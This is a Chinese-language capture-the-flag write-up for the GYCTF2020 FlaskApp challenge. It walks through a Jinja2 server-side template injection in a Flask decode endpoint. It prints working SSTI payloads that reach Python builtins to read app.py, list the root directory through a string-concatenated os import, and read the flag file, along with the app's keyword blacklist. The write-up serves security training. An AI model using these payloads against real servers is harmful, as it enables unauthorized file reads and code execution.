GYCTF2020-FlaskApp

发布于 2021-08-06  61 次阅读


进入题目有三个页面,加密、解密和提示,分别对三个页面进行测试。

image-20210518181418340

加密功能很正常,就是正常的加密。

image-20210518181433169

解密输入字符或者数字会报错。

image-20210518181444455

提示页面除了这个图片也没什么有用信息。

因此只能在解密处观察报错信息:

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

根据报错我们发现,这里会把我们的传进去的加密字符串进行解密,其中包含waf代码应该是做了一定的过滤。因此只要我们能够绕过waf我们就可以,成功执行decode。这里回想题目是FlaskAPP,我们是不是可以做以下推论:假设这里存在SSTI注入,当我们base64编码模板语法之后,使用解密模块进行解密,是不是就能成功的将我们的数据通过解密携带出来。

因此尝试模板语法:

image-20210518201835864
image-20210518201914481

这里我们发现,事情好起来了呀,这里就是SSTI,通过解密将信息外带出来。

根据报错信息我们知道文件名为app.py,因此读取源码,看看waf过滤了什么东西

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

得到waf函数的具体内容

def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 

发现使用黑名单,过滤了很多的关键字,接下来的思路就很清晰了,绕过关键字过滤读取flag

这里直接使用字符串拼接的方式进行绕过,读取根目录文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
image-20210518203038864

发现flag就在根目录下,读取flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
image-20210518203201419